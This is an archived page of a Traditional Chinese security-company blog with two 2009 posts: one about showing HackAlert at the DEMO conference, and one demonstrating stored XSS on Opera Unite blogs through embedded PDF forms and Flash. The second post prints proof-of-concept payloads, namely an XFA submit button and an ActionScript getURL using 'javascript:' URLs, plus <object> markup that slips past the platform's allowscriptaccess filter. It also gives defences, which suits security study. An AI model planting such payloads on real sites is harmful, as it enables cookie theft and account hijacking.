阿碼外傳-阿碼科技非官方中文 Blog: 09/01/2009 - 10/01/2009

2009年9月25日

[No Tech] 阿碼科技於DEMO Fall 2009發佈最新掛馬檢測技術HackAlert V2


在資策會的領軍之下,阿碼科技登上了DEMO的舞台,發表我們的第二代HackAlert網站掛馬檢測技術。HackAlert V2除了更準確地監控網站掛馬與網頁至換之外,更與SmartWAF配合,提供了即時修復的功能。HackAlert V2能夠準確地定位被插入的惡意元素(html、iframe、javascript等),一方面幫助網站管理者修復網站,一方面則將訊息即時地傳送給SmartWAF。收到指令後,SmartWAF會啟動即時掛馬修復功能,動態地透過修改http response,將被掛入之惡意成分移除,一方面保護網站的訪客,一方面也免於網站被列入Google或防毒廠商的黑名單當中。再加上CodeSecure可以掃瞄程式碼,幫助程式漏洞之修改,以及阿碼資安顧問團隊ASF所提供的各種服務,整個阿碼的Web資安解決方案,可說相當完整。

我們的六分鐘DEMO影片如下:

主流媒體報導:
Mashable: HackAlert: Web Apps Finally Get Secure
VentureBeat: DEMO: Armorize’s HackAlert notifies you if your web site is under attack
iThome: 阿碼科技HackAlert™ 世界肯定,受邀「全球創意DEMOfall 09」之展出
DEMO網頁上的阿碼

整個從參加資策會Ideas Show開始到DEMO,我的感覺是...「大難不死」...

怎麼說呢。不論是資策會的Ideas Show或者DEMO,都是非常棒的產品發表舞台。今年大廠如HP與Google,也都在DEMO上發表他們的新技術。DEMO的展示,因為只有六分鐘,所以內容都很精華,可以看到有些人緊張,有些人穩健,有些人背稿,有些人熱情...加上短時間內可以看到許許多多的創新,體驗創業家的那種熱忱,讓我很喜歡看DEMO的六分鐘影片。我的心得是,上場的如果是團隊的專業行銷部門,通常可以做得很流利穩健,一看就是訓練有素,一點不怕大場面。但是如果是創辦人或經營團隊親自出馬,因為不常上台,雖然會比較緊張,雖然講話比較不順,甚至有些笨拙,但是總能帶給觀眾更深切的感受。因為他們所散發出來的,是他們對於技術的熱忱,對於產品的信心,對於公司的驕傲--這種心情深深滲透在他們的血液裡頭,他們想要告訴觀眾,他們的東西有多好!這種感覺,不是專業的行銷團隊所可以訓練出來的。

去年讓我印象最深刻的DEMO團隊,後來也得了DEMOGod獎,是Plastic Logic這家公司,由CEO Richard Archuleta親自上場。Plastic Logic成立於2000年,募了超過兩億美金的資金,做的產品是電子書上用的超薄塑膠螢幕。Richard在台上蠻緊張的,DEMO中也出現一些小錯誤,但是產品真的很棒,技術門檻很高,加上大家都可以看出,他的展示中充滿了對公司的信心與驕傲,是我覺得他們得獎的主要原因。

今年得首獎的兩個團隊,一個是做MS Outlook外掛,來自澳洲的Liaise,另一個則是做超薄塑膠喇叭的EMO Labs--兩家公司做的都跟Web沒有直接關係。我看完EMO Labs的展示,就直接認為,今年他們一定拿獎!EMO Labs也是由CEO Jason Carlson親自上場,講得很慢,但是表達得很清楚:現在螢幕越做越薄,沒有空間能夠置入好的喇叭系統,成為目前超薄顯示系統的最大弱點。EMO Labs能夠用透明的塑膠材質,做出雙聲道的喇叭,直接黏在螢幕前面,不佔任何空間,而效果又好:

Jason忙著介紹公司的產品與技術,甚至往了介紹自己的名字,讓記者急著詢問,台上到底是誰?

阿碼這次一路從資策會IDEAS Show,參加到DEMO,可以說非常辛苦。困難之一,是這種產品平台上發表的東西,都很炫。可是要把資安的東西,對著台下都不是資安領域的聽眾,講得很炫,真的是一件很不容易的事。阿碼的核心技術,首推源碼檢測;從2003年寫的論文,一路做到現在,演算法也不知演進了多少代了,現在所用的資料結構與演算法,實在非常漂亮,可是,我們已經幾年沒有在台上講過這些技術了。這些東西講起來就是一堆演算法,畫一堆graph,然後推複雜度(complexity);不要說一般聽眾,就連資安專家,可能有興趣的也不多。講應用面呢?在一堆密密麻麻的程式碼中跳來跳去,解釋我們用什麼演算法來掃到什麼樣的複雜漏洞...除非台下對於資安與程式設計都有基礎,不然也是很難有效果。也許這就是源碼檢測團隊的宿命吧!永遠只能在一個很小的圈子中,才能因技術的分享而產生興奮的火花。

這也是為什麼,對於我們公開的演講或這類的展示平台,我們都盡量以HackAlert為主。當然還是遠不如超薄塑膠螢幕或塑膠喇叭所能帶來的驚奇,但是至少網站掛馬還是跟一般人有些關係,大家聽了比較有感覺。

困難之二,是我們大家都身兼數職,大家真的是騰不出時間來準備與練習。拿我來說吧,DEMO創辦人Chris Shipley應資策會邀請來到台灣,也約了我們碰面,我是創辦人兼CEO,理當去赴約,可是我實在太忙,公司大小事情堆積如山,每個小時對我都很重要,實在無法抽身,只好請創辦人兼COO兼CFO的Matt,以及Sales Director Volker與她碰面,並參與IDEAS Show的準備與上台工作。

結果雖然我們得了獎,也受到了DEMO的邀請,可是大家都說,實在沒空去。經過協調,只好請John代替需要全心投入歐洲市場開發的Volker,並還是請Matt與創辦人兼CTO的Walter上場。John來自加拿大,目前全家都在台灣,他在資安界做了近20年,除了擁有CISSP等證照,也是ISC2(發行CISSP的組織)與SANS的顧問,由資安經驗豐富的他出馬,幫我們重新設計展示內容與寫演講稿。

準備期間,資策會IDEAS Show的許多同仁,一路輔導我們,讓我們充分體驗了他們在這方面的經驗與專業。我們是第一次參加DEMO,他們則是經驗豐富,在他們的指導下,我們的演講可說是翻了又翻,改了又改,一直到上飛機的前幾天。整個過程中,我可以說是提心吊膽到了極點。因為我知道一個資策會不知道的秘密:他們眼前的這三個人,排演一結束,就會開始接電話,開會,Walter甚至還要顧HackAlert的技術部分,一次彩排完,我看過幾個小時,他們就什麼都不記得了,這是要如何上台?

日子過得很快,一下子這票人就到了聖地牙哥了,結果一到旅館,果然不出我所料,Walter立刻被台灣的研發團隊纏上,Matt也是電話講不完...輪到他們上台預演時,大家是拿稿子上去唸的...當然,看到其他隊伍似乎都準備充分,他們比我更緊張,於是我發了一封email給全公司,接下來一天,大家不准打給Matt或Walter,有事只能寫email。然後我說,我們上台前的CEO晚宴,說明會,開幕等,都交給同事Orion處理,Orion是美國人,他會弄得很好,要上台的三人,不准出門,趕快練!

DEMO開始了,我們是下午第一家,我晚上開始從台灣看網路上的現場轉播,一連幾家公司都出現網路問題,大會主席Chris Shipley也出面說,會場頻寬不夠,希望在場的大家不要連接現場轉播,會吃去頻寬。DEMO限定一定要live的DEMO,不能用錄影的,也不能用投影片。可是一旦現場頻寬不穩,狀況就會慘不忍睹。Chris雖然有答應受影響的團隊可以重來,可是,誰希望重來呢?於是我立刻與Walter聯絡,Walter說,他不怕,叫我不用緊張,他有多個方案,一站上台的前十秒,他會先測試,決定哪個方案後,會跟團隊打pass。

輪到他們上台時,台灣凌晨五點多,我在電腦前看著轉播,那六分鐘之間,我真的是緊張到忘記要呼吸。DEMO的網站上,實況轉播旁邊就是twitter上有關活動大家的看法。我們的DEMO進行到一半時,我發現,大家真的都很喜歡我們的DEMO!

其中兩個tweet真是讓人振奮:

「How these guys made security interesting, dont' know, but they did. Great job HackAlert- Armorize.com」(這些人如何讓資安變有趣的,不知道,但是他們做到了。做得好,HackAlert)
「Why do the security companies have the best presentations?」(怎麼最好的展示都是資安公司?)

從頭到尾,他們演出完美,沒有讓公司漏氣,更重要的是,在這個台灣軟體業邁向國際的接力賽中,我們沒有掉棒,我們盡力做到能力所及之最佳水準,沒有對不起前輩,也沒有讓資策會的長官失望。看著他們的展示,不但心裡幫他們驕傲,也幫台灣所有的同仁驕傲。四年前,我們有的不過是很多的論文,都寫在紙上;四年後,我們在DEMO上展示的CodeSecure與HackAlert,看起來是那麼的成熟,那麼的專業,我們舉出的指標性客戶,遍及全球,並都是最大的客戶。

最近,如何訓練新人,是團隊中常被提起討論的議題。看著他們的討論,想到四年前他們青澀的模樣,當時他們雖然技術好,但是缺乏經營的經驗。四年之後的他們早成了公司的棟梁,是源碼檢測與惡意程式的專家,仔細地設計出公司的各種流程與組織架構,用心地幫公司想未來。究竟是什麼樣的運氣,讓我們大家能相遇,讓阿碼能有這樣的團隊,我也想不懂。但是,恭喜大家,你們的努力,成果不凡!也再次謝謝資策會、研考會、技服中心、軟協等指導單位在各方面給阿碼的幫忙,我們會繼續努力,很高興在台灣的軟體界邁向國際的路上,我們能夠參與其中!

作者Wayne為阿碼科技一員

繼續閱讀全文...

2009年9月7日

另類XSS攻擊手法:利用PDF與Flash的XSS攻擊--Opera Unite安全性第一回


九月一日,Opera 10沸沸揚揚的登場了,新聞還真不少:

ITHome: Opera 10釋出 四小時下載超過20萬
ZDNet: Opera 10 正式版出爐 新增Turbo加速功能
網路資訊: Opera 10正式版推出開放下載
聯合新聞網: Opera 10 全世界最快的瀏覽器

眾多報導中我最有興趣的,是Opera推出了「Opera Unite」社交平台,上面有檔案分享,部落格等等社交網路服務(SNS, Social Networking Service)功能,並由Opera 10瀏覽器直接支援,計畫藉由其瀏覽器使用者之基礎,踏入SNS與UGC(使用者產生之內容,user-generated content),也藉由SNS與UGC,反過來穩固其既有的瀏覽器社群。在 my.opera.com上,Opera Unite宣稱提供1G的免費空間,並大力推廣部落格功能。Opera Unite的部落格直接有行動版,方便行動用戶利用Opera Mini閱讀(Opera市佔率以行動市場為最高)。




新裝好的 Opera 10 瀏覽器中,也直接有功能與 Opera Unite 整合,充分展現 Opera 這次進軍 SNS 的企圖心!



PDF XSS 跨腳本攻擊測試
我最喜歡裝新的瀏覽器了,因為我的工作跟Web很有關係,任何瀏覽器在速度上的提或新功能的發展,都可能對我有幫助。當然,另一點很重要的是,新瀏覽器的安全性。安裝完Opera 10後,我順便註冊了一個Opera Unite的帳號。隨手一測,WOW,漏洞真的很多!我有時覺得自己真是有職業病,每當朋友興高采烈的跟我介紹某新網站,某新軟體,某新產品時,我腦袋總是響著各種警鈴,WOW,這個不安全,WOW,這樣子的話漏洞大了,WOW,這功能誰設計的,根本沒考慮資安...當對方興致勃勃等我回應時,我腦袋卻總轉著各種資安問題,而沒有辦法用相同程度的熱忱與興奮來回應他們...不只如此,還會手癢開始測試問題。朋友常說我有職業病,我有時候也覺得,自己真的是職業病很嚴重。

無論如何,那麼來談談一些我週末找到的漏洞吧!每次一開始找到的漏洞不外乎SQL Injection、XSS、CSRF等,可是老是講這些似乎太老套了...那麼,來介紹一下稍微「另類」的XSS攻擊--透過PDF與Flash的XSS攻擊好了!

假設我是駭客,那麼對 Opera Unite 最有效且持久的攻擊是什麼?其中之一是,我來註冊一個免費的部落格,然後貼一篇文章。Opera Unite的部落格,支援基本的HTML語法,但是會(盡可能)過濾導致資安問題的語法,例如「javascript」或「iframe」等等。假設我能找到部落格中的「預存式XSS(stored cross-site scripting」(又稱「永久型XSS(persistent cross-site scripting」),那麼只要在登入狀態而來看我文章的 Opera Unite 使用者,都會被我攻擊,自動偷到他們的cookie,或甚至讓他們自動在他們的部落格文章中,插入一樣的攻擊碼,而造成蠕蟲式的散播。

由於 Opera Unite 對於具有威脅性的語法如「javascript」或「iframe」等,做了基本的過濾,於是如果要XSS,便要嘗試繞過其過濾函式。這種過濾函式很不好寫(見「弔詭的過濾函式」),絕對有機會繞過,但是要花時間。不如我們來用PDF吧!

藉由<embed>或<object>等tag,我們可以將PDF檔案內嵌於HTML頁面中。安裝Adobe Acrobat Reader時,Acrobat Reader會順便安裝瀏覽器plugin,而在嵌入有PDF檔案的HTML頁面被瀏覽器解析時,Acrobat Reader plugin會啟動,顯示出PDF的內容。PDF檔案格式支援表單功能,在表單中,我們可以放一個「HTTP送出按鈕(HTTP Submit Button)」,當被按下時,Acrobat Reader plugin會觸發瀏覽器開啟一個URL。

OK,重點來了,這個按鈕的URL protocol handler中,支援「javascript:」這個handler。為何PDF表單中需要支援「javascript:」?我也不知道,但是之前與Adobe總部互動討論後,得到的答案是短期內Adobe並沒有計畫要拿掉這個功能。

於是,我們可以做一個PDF,含有一個表單,於表單上放置一個「HTTP送出按鈕」,並把URL設成「javascript:cookie_stealer()」,其中cookie_stealer()就是我們偷cookie的程式。我做了一個放在www.openwaves.net上,其中表單的程式碼如下:

<field xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="22.225mm" name="HTTPSubmitButton1" w="38.1mm" x="171.45mm" y="3.175mm">
<?templateDesigner isHttpSubmitObject true?>
<ui>
<button/>
</ui>
<font typeface="Adobe Ming Std L"/>
<caption>
<value>
<text>送出</text>
</value>
<para hAlign="center" vAlign="middle"/>
<font size="36pt" typeface="Adobe Ming Std L"/>
</caption>
<border hand="right">
<?templateDesigner StyleID apbx2?>
<edge stroke="raised"/>
<fill>
<color value="212,208,200"/>
</fill>
</border>
<bind match="none"/>
<event activity="click">
<submit format="formdata" target="javascript:alert(document.cookie);" textEncoding="UTF-8"/>
</event>
</field>

接下來我們必須將此PDF嵌入我們在Opera Unite的頁面中。Opera Unite的部落格對於「<embed>」與「<object>」 兩種tag,都有支援。我們選擇用「<object>」,因為可以很容易地讓PDF秀出來時,不要有其它周邊的工具欄(toolbar)。程式如下:

<object data='http://www.openwaves.net/armorize_cht3.pdf#scrollbar=0&toolbar=0&statusbar=0&messages=0&navpanes=0' type='application/pdf' width='100%' height='70%'></object>

整個部落格文章成品請見:「PDF XSS 跨腳本攻擊測試」,畫面如下:

經過測試,此攻擊可以在Opera、Firefox、Safari、與Google Chrome等瀏覽器上執行成功,Opera的畫面就是本篇最開始的畫面,其它瀏覽器的畫面如下:(按下可以放大)

這種攻擊,要說是誰的弱點呢?我認為算是Adobe的,因為PDF表單沒有理由要支援「javascript:」這種protocol handler--或許Adobe有他們的理由吧!不過上次回報後得到的答案是,PDF跟HTML一樣,都是屬於動態文件,因此這個為「功能」而非「弱點」,所以短期內不會拿掉。既然這樣的話,只能說,網站如果有可以讓使用者自行上傳HTML的功能,那麼是否允許「<embed>」與「<object>」 等tag,需要審慎考慮。

阿碼外傳是放在Google的Blogger上,Blogger的作法則是利用javascript SOP(相同來源政策,same origin policy)與不同網域名稱來解決。Blogger的登入與管理介面是放在blogger.com上,可是實際顯示的部落格是放在armorize-cht.blogspot.com上,這樣可以達到兩種保護效果:
1. 偷到armorize-cht.blogspot.com的cookie,對於實際上管理用的blogger.com無效。
2. 由於每個部落格具有自己獨立的網域,所以即使blogspot.com有需要用到cookie,那麼偷到了armorize-cht.blogspot.com的cookie,也對於其它部落格無效。

這是很好的作法,因為要過濾HTML中的惡意字串,其實不是一件容易的事(見「弔詭的過濾函式」)。

Opera Unite的架構則不一樣,拿我註冊的測試帳號來說,部落格網址為:http://my.opera.com/armorize/blog,也就是說,每個人的部落格網址就是:http://my.opera.com/帳號/blog。如果是這樣的話,偷到別人的cookie,很可能整個Opera Unite(my.opera.com)的身份就可以盜用了。

所以,相較於 Opera Unite 努力parse使用者上傳的HTML,試圖保衛安全性,過濾惡意的元素,blogger則比較少。例如blooger對於「<embed>」與「<object>」 等tag,幾乎是不太過濾,反正偷了cookie也只是blogspot.com的cookie而已。當然cookie也有path機制可以利用,可是根據實際經驗,效果並不好,見以下「小結」中之討論。

(題外話,可是我試過,可以偷共同作者的cookie。因為blogger.com的管理介面,有預覽功能,所以我寫一篇,請其它作者幫我「改錯或檢查」,就可以偷到其它作者的cookie。)

Flash XSS 跨腳本攻擊測試

上述的PDF XSS 跨腳本攻擊法,威脅是,很多網站不知道可以這樣攻擊,所以不會限制PDF的嵌入。另外,Adobe的PDF是很流行的檔案格式,很多使用者都有裝Acrobat Reader,所以攻擊面可以很廣。可是缺點是,需要按一下按鈕才能觸發攻擊。當然,這個可以改,不過以後再寫了。現在,我們要一個更簡單的方式,最好對方一來我的部落格就中了XSS,那要如何做呢?我們可以利用另外一個安裝率可能更高的瀏覽器plugin:Adobe Flash。Flash中可以寫ActionScript,而getURL()這個函式,可以驅動瀏覽器前往某個URL,並且...對的,也支援「javascript:」protocol handler。Flash的這個功能,我看是更難拿掉了,因為很多的Flash程式,都是利用這個功能來彈出對話盒的(getURL("javascript:alert("xxx");")。

我做了一個flash的XSS攻擊程式,裡頭只有一行:「javascript:」protocol handler

onClipEvent (load) {
getURL("javascript:alert(document.cookie);");
}

我先將這個檔案放到www.openwaves.net上,然後新增一篇部落格,利用「<embed>」tag來嵌入此flash。但是Flash的保護畢竟比PDF多。在嵌入Flash時,要加註「allowscriptaccess」參數為「always」,不然「javascript:」protocol handler會被擋掉。allowscriptaccess從Flash 6就有了,Flash 7開始,如果沒有加註,則內定值為「sameDomain」。由於我們的flash攻擊程式不是放在my.opera.com上,所以我們必須將此值設定為「always」:

<EMBED href="http://www.openwaves.net/flash_xss.swf" TYPE="application/x-shockwave-flash" allowscriptaccess="always"></EMBED>

發佈部落格後,攻擊不成功,「view source」一看,原來Opera Unite認識「allowscriptaccess」,並把我們寫的「always」改成了「never」:

<embed href="http://www.openwaves.net/flash_xss.swf" type="application/x-shockwave-flash" allowscriptaccess="never">

恩,不錯,至少有基本的防禦力,那麼與其測試是否能繞過過濾函式,不如找其它的方法。我們試試「<object>」吧:

<object data='http://www.openwaves.net/flash_xss.swf' type='application/x-shockwave-flash' width='1' height='1'><param name="allowscriptaccess" value="always"></object>

結果Opera Unite並不檢查「<object>」tag中的「allowscriptaccess」值,就這樣讓我們的攻擊成功了。攻擊的部落格在:「Flash XSS 跨腳本攻擊測試」,畫面上沒有痕跡,也不需要對方按什麼地方,只要瀏覽,就可以偷cookie了。一樣,在Firefox、Opera、Safari、與Google Chrome上都能成功。


防禦方式

這邊示範了利用Adobe的兩個廣為使用的瀏覽器plugin--PDF與Flash,以Opera Unite為例,展試了如何達成XSS攻擊。這種漏洞算誰的責任?網站管理者沒有能力影響到廠商(Adobe)要如何設計他們的瀏覽器plugin,而大家卻都有安裝。PDF為何要支援「javascript:」protocol handler?我們無法知道。在這種模糊地帶,網站開發者只有自己採取錯失避免此類攻擊。過濾使用者上傳的HTML是一個方法,但是正確的過濾函式不容易撰寫。

對於利用XSS偷cookie的攻擊,另一個方法則是blogger所採用的,a)將管理平台與內容平台分開,與b)讓每一個使用者內容有其獨立的網域(user_name.blogspot.com),而非讓全部使用者的部落格都在同一網域下,例如my.opera.com。當然,cookie可有path的限制可以利用,但是事實上,單一網域的網站架構,到最後都很少利用到cookie path來限制cookie的有效範圍,Opera Unite也不例外:

SNS平台吸引人之處,就是其豐富的user-generated content;然而有效處理使用者上傳的資料並做好正確的過濾,一直都是一個很大的挑戰。針對PDF與Flash的XSS攻擊,網站開發者必須特別注意使用者上傳內容中內嵌的PDF、Flash或其它可以存取到DOM(document object model)元素的檔案。

對於一般使用者來說,最簡單的方式可以是使用多個瀏覽器(firefox、safari、chrome),負責進行登入的瀏覽器,不拿來瀏覽其它內容。Firefox可以透過--profilemanager參數來設定不同profile,也是大家常用的方式。對於PDF的XSS攻擊,使用者可以設定不要讓PDF於瀏覽器內開啟,一律以外部Acrobat reader獨立開啟:

作者Wayne為阿碼科技一員

繼續閱讀全文...